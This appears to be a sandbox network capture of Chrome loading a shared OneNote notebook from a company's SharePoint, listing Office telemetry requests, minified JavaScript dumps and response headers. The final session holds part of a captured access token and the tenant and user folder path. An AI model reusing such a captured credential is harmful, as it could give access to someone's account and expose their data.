2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 6f 69 64 28 6f 2e 57 73 26 26 75 3d 3d 3d 4b 2e 79 6e 26 26 28 6f 2e 52 73 2e 70 75 73 68 28 63 29 2c 6f 2e 6a 74 2e 55 4c 53 2e 4a 65 28 35 34 33 32 30 37 38 38 38 2c 43 2e 42 2c 41 2e 49 6e 66 6f 2c 22 4b 65 70 74 20 66 6f 72 20 6c 61 74 65 72 20 70 72 6f 63 65 73 73 3a 20 22 2e 63 6f 6e 63 61 74 28 75 29 29 29 29 3b 6f 2e 6a 74 2e 55 4c 53 2e 4a 65 28 35 39 36 34 36 34 32 38 38 2c 43 2e 42 2c 41 2e 49 6e 66 6f 2c 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 22 2e 63 6f 6e 63 61 74 28 75 29 29 2c 75 3d 3d 3d 4b 2e 71 6e 26 26 28 63 2e 56 61 6c 75 65 73 3d 72 28 72 28 7b 7d 2c 63 2e 56 61 6c 75 65 73 7c 7c 7b 7d 29 2c 7b 73 65 6e 64 54 69 6d 65 41 73 43 6c 69 63 6b 54 69 6d 65 3a 63 2e 53 65 6e 64 54 69 6d 65 7d 29 29 3b 74 72 79 7b 64 Data Ascii: oid(o.Ws&&u===K.yn&&(o.Rs.push(c),o.jt.ULS.Je(543207888,C.B,A.Info,"Kept for later process: ".concat(u))));o.jt.ULS.Je(596464288,C.B,A.Info,"Processing message: ".concat(u)),u===K.qn&&(c.Values=r(r({},c.Values\|\|{}),{sendTimeAsClickTime:c.SendTime}));try{d
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 22 29 2c 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 61 2e 56 61 2c 35 65 33 29 2c 61 2e 68 61 2e 72 65 67 69 73 74 65 72 4d 65 73 73 61 67 65 50 61 79 6c 6f 61 64 48 61 6e 64 6c 65 72 28 4b 2e 6e 6e 2c 61 2e 42 61 29 2c 61 2e 68 61 2e 72 65 67 69 73 74 65 72 4d 65 73 73 61 67 65 50 61 79 6c 6f 61 64 48 61 6e 64 6c 65 72 28 4b 2e 47 6e 2c 61 2e 4c 61 29 3b 76 61 72 20 65 3d 6e 65 77 20 77 74 28 61 2e 6c 61 2c 61 2e 46 61 2c 61 2e 6a 74 2c 61 2e 68 61 2c 61 2e 43 61 2c 61 2e 50 61 29 3b 61 2e 4d 73 3d 65 2e 42 6f 6f 74 28 29 2c 61 2e 6a 61 26 26 61 2e 6a 61 28 61 2e 4d 73 29 7d 2c 74 68 69 73 2e 4a 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 50 61 72 61 6c 6c 65 6c 69 7a 65 53 74 61 72 74 53 65 73 73 69 6f 6e 3a 61 2e 4d 61 2c 57 Data Ascii: "),window.setTimeout(a.Va,5e3),a.ha.registerMessagePayloadHandler(K.nn,a.Ba),a.ha.registerMessagePayloadHandler(K.Gn,a.La);var e=new wt(a.la,a.Fa,a.jt,a.ha,a.Ca,a.Pa);a.Ms=e.Boot(),a.ja&&a.ja(a.Ms)},this.Ja=function(){var e={ParallelizeStartSession:a.Ma,W
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 6b 65 79 29 2c 72 2b 3d 31 2c 6f 2d 3d 32 2a 65 2e 63 61 63 68 65 49 74 65 6d 4c 65 6e 67 74 68 29 7d 29 29 2c 72 3e 30 29 7b 76 61 72 20 73 3d 69 2e 6c 65 6e 67 74 68 2d 72 3b 66 74 2e 6c 6f 67 67 65 72 2e 55 4c 53 2e 4a 65 28 35 35 37 31 31 34 38 33 39 2c 43 2e 42 2c 41 2e 49 6e 66 6f 2c 22 4f 70 65 72 61 74 69 6f 6e 3d 45 76 69 63 74 53 74 61 6c 65 43 61 63 68 65 2c 20 44 75 72 61 74 69 6f 6e 3d 22 2e 63 6f 6e 63 61 74 28 4e 28 29 2d 6e 2c 22 2c 20 63 6f 75 6e 74 3d 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2c 20 72 65 6d 61 69 6e 69 6e 67 3d 22 29 2e 63 6f 6e 63 61 74 28 73 29 29 7d 7d 63 61 74 63 68 28 65 29 7b 66 74 2e 6c 6f 67 67 65 72 2e 55 4c 53 2e 4a 65 28 35 35 37 31 31 34 38 34 30 2c 43 2e 42 2c 41 2e 45 72 72 6f 72 2c 22 46 61 69 6c 75 72 65 20 Data Ascii: key),r+=1,o-=2*e.cacheItemLength)})),r>0){var s=i.length-r;ft.logger.ULS.Je(557114839,C.B,A.Info,"Operation=EvictStaleCache, Duration=".concat(N()-n,", count=").concat(r,", remaining=").concat(s))}}catch(e){ft.logger.ULS.Je(557114840,C.B,A.Error,"Failure
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 7b 74 72 79 7b 6e 2e 6b 63 28 42 74 2e 44 69 73 70 6f 73 65 64 2c 7b 7d 29 2c 6e 2e 46 73 3d 7b 7d 7d 63 61 74 63 68 28 65 29 7b 6e 2e 6a 74 2e 55 4c 53 2e 4a 65 28 35 38 39 31 30 38 38 31 35 2c 43 2e 42 2c 41 2e 45 72 72 6f 72 2c 22 6f 6e 46 72 61 6d 65 52 65 6d 6f 76 65 64 20 65 72 72 6f 72 3a 20 22 2e 63 6f 6e 63 61 74 28 6a 28 65 29 29 29 7d 7d 29 2c 74 29 7d 2c 65 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 74 2c 6e 2c 69 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 7a 74 28 65 2c 74 2c 6e 2c 69 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 4b 74 28 65 29 7b 76 61 72 20 74 3d 7b 65 6e 74 72 79 50 6f 69 6e 74 3a 65 2e 64 69 61 67 6e 6f 73 74 69 63 73 2e 65 6e 74 72 79 50 6f 69 6e 74 2c 75 73 65 72 43 6c 69 63 6b 54 69 6d 65 3a 65 2e 64 69 61 67 6e Data Ascii: {try{n.kc(Bt.Disposed,{}),n.Fs={}}catch(e){n.jt.ULS.Je(589108815,C.B,A.Error,"onFrameRemoved error: ".concat(j(e)))}}),t)},e}();function qt(e,t,n,i,o){return new zt(e,t,n,i,o)}function Kt(e){var t={entryPoint:e.diagnostics.entryPoint,userClickTime:e.diagn
2024-04-26 07:59:10 UTC	16383	IN	Data Raw: 6c 21 3d 72 3b 73 26 26 70 28 74 2c 4f 65 2e 50 72 2c 72 2e 74 6f 53 74 72 69 6e 67 28 29 29 2c 65 2e 6c 6f 67 67 65 72 2e 55 4c 53 2e 4a 65 28 35 37 37 37 38 33 37 37 35 2c 43 2e 42 2c 41 2e 49 6e 66 6f 2c 22 43 6f 6e 74 65 6e 74 20 62 75 6e 64 6c 65 20 73 74 61 6c 65 6e 65 73 73 3a 20 22 2b 28 73 3f 72 3a 22 4e 2f 41 22 29 29 7d 76 61 72 20 61 3d 65 2e 66 69 6c 65 2c 63 3d 61 2e 6e 61 6d 65 3b 69 66 28 63 29 7b 70 28 74 2c 22 66 69 6c 65 6e 61 6d 65 22 2c 63 29 3b 76 61 72 20 75 3d 4c 28 63 29 3b 75 26 26 70 28 74 2c 22 66 69 6c 65 65 78 74 65 6e 73 69 6f 6e 22 2c 75 29 7d 61 2e 67 65 74 55 72 6c 26 26 70 28 74 2c 22 66 69 6c 65 67 65 74 75 72 6c 22 2c 61 2e 67 65 74 55 72 6c 29 2c 61 2e 64 6f 77 6e 6c 6f 61 64 43 6f 64 65 26 26 70 28 74 2c 22 66 69 6c Data Ascii: l!=r;s&&p(t,Oe.Pr,r.toString()),e.logger.ULS.Je(577783775,C.B,A.Info,"Content bundle staleness: "+(s?r:"N/A"))}var a=e.file,c=a.name;if(c){p(t,"filename",c);var u=L(c);u&&p(t,"fileextension",u)}a.getUrl&&p(t,"filegeturl",a.getUrl),a.downloadCode&&p(t,"fil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:10 UTC	712	OUT	POST /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 112 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:10 UTC	112	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 4a 53 41 50 49 5f 53 54 41 54 45 22 2c 22 70 61 79 6c 6f 61 64 4a 73 6f 6e 22 3a 22 7b 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 22 3a 5c 22 4f 6e 65 4e 6f 74 65 5c 22 2c 5c 22 62 75 69 6c 64 5c 22 3a 5c 22 32 30 32 34 30 34 32 34 2e 31 5c 22 2c 5c 22 73 74 61 74 65 5c 22 3a 5c 22 69 6e 69 74 5c 22 7d 22 7d Data Ascii: {"type":"JSAPI_STATE","payloadJson":"{\"application\":\"OneNote\",\"build\":\"20240424.1\",\"state\":\"init\"}"}
2024-04-26 07:59:11 UTC	1043	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: a388f11f-9325-4a03-b868-45467fd2fb02 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BL6PEPF0001A288 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS13 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF0001A288 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 196E97F8D7074C54AA98EADD94EBEB81 Ref B: MIA301000105049 Ref C: 2024-04-26T07:59:10Z Date: Fri, 26 Apr 2024 07:59:11 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:10 UTC	734	OUT	POST /suite/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 784 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:10 UTC	784	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 34 39 34 38 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 32 31 31 36 34 32 33 38 2c 22 54 22 3a 36 2c 22 4d 22 3a 22 49 73 4f 77 6c 49 46 72 61 6d 65 42 6f 6f 74 54 72 65 61 74 6d 65 6e 74 3a 20 44 69 73 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 32 31 31 36 34 32 33 38 2c 22 54 22 3a 38 2c 22 4d 22 3a 22 4f 6e 65 4e 6f 74 65 4a 73 41 70 69 56 32 47 61 74 65 3a 20 44 69 73 61 62 6c 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 36 35 37 38 35 38 34 2c 22 54 22 3a 39 2c 22 4d 22 3a 22 4c 65 61 6e 20 55 69 20 48 6f 73 74 3a 20 62 6f 6f 74 41 70 70 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 36 31 38 32 30 34 Data Ascii: {"T":1714118349482,"L":[{"G":521164238,"T":6,"M":"IsOwlIFrameBootTreatment: Disabled","C":3027,"D":50},{"G":521164238,"T":8,"M":"OneNoteJsApiV2Gate: Disabled","C":3027,"D":50},{"G":576578584,"T":9,"M":"Lean Ui Host: bootApp","C":3027,"D":50},{"G":54618204
2024-04-26 07:59:11 UTC	4203	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS3-ARRAffinity=c2b15893418d6fcf7b43568bf311dd6186fe02d8d96455beabbe7d072166f72d;Path=/;Domain=common.online.office.com; samesite=none; secure X-CorrelationId: 54f69693-809b-46cc-9c0a-85822cf1d842 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BN3PEPF00004E25 X-OfficeVersion: 16.0.17614.41006 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF00009465 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 9AEF30031BAE4377AD4FD77718ADBA8F Ref B: MIA301000106039 Ref C: 2024-04-26T07:59:11Z Date: Fri, 26 Apr 2024 07:59:10 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	23.213.224.106	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:11 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 07:59:11 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=83043 Date: Fri, 26 Apr 2024 07:59:11 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:11 UTC	738	OUT	POST /o/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 5077 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:11 UTC	5077	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 34 39 35 33 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 36 34 34 34 32 33 38 2c 22 54 22 3a 32 2c 22 4d 22 3a 22 48 6f 73 74 49 6e 69 74 44 69 61 67 6e 6f 73 74 69 63 73 3a 20 7b 5c 22 65 6e 74 72 79 50 6f 69 6e 74 5c 22 3a 5c 22 53 68 61 72 69 6e 67 2e 43 6c 69 65 6e 74 52 65 64 69 72 65 63 74 5c 22 2c 5c 22 68 6f 73 74 50 61 67 65 46 69 72 73 74 46 6c 75 73 68 54 69 6d 65 5c 22 3a 31 37 31 34 31 31 38 33 34 38 37 39 31 2c 5c 22 75 73 65 72 43 6c 69 63 6b 54 69 6d 65 5c 22 3a 31 37 31 34 31 31 38 33 34 36 37 36 31 2c 5c 22 6f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 53 74 61 72 74 54 69 6d 65 5c 22 3a 31 37 31 34 31 31 38 33 34 39 34 39 36 2c 5c 22 6f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 45 6e Data Ascii: {"T":1714118349537,"L":[{"G":596444238,"T":2,"M":"HostInitDiagnostics: {\"entryPoint\":\"Sharing.ClientRedirect\",\"hostPageFirstFlushTime\":1714118348791,\"userClickTime\":1714118346761,\"officeBootstrapperStartTime\":1714118349496,\"officeBootstrapperEn
2024-04-26 07:59:11 UTC	4442	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 36797278-c83a-4b08-835a-def65245a8f7 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BL6PEPF00022032 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS4 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5c&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF00022032 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_onenoteslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: E1E711F60F864326A81DB3F059769A13 Ref B: MIA301000105025 Ref C: 2024-04-26T07:59:11Z Date: Fri, 26 Apr 2024 07:59:11 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:11 UTC	1568	OUT	POST /o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 8235 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://usigroups-my.sharepoint.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:11 UTC	8235	OUT	Data Raw: 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 49 73 49 6e 67 31 64 43 49 36 49 6b 52 68 52 45 46 6d 61 6c 46 52 62 58 42 35 54 31 68 34 4d 6c 4a 79 53 31 39 58 4e 57 78 32 62 30 78 61 4e 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 33 62 33 42 70 4c 33 56 7a 61 57 64 79 62 33 56 77 63 79 31 74 65 53 35 7a 61 47 46 79 5a 58 42 76 61 57 35 30 4c 6d 4e 76 62 55 41 35 5a 6a 56 68 5a 54 56 6c 4d 43 31 6d 4e 44 59 34 4c 54 51 30 59 7a 49 74 4f 47 4a 68 59 53 31 6c 4e 6d 55 33 59 6d 4d 7a 4e 6d 4d 33 4d 54 41 69 4c 43 4a 70 63 33 4d 69 4f 69 49 77 4d 44 41 77 4d 44 41 77 4d 79 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d Data Ascii: access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwM
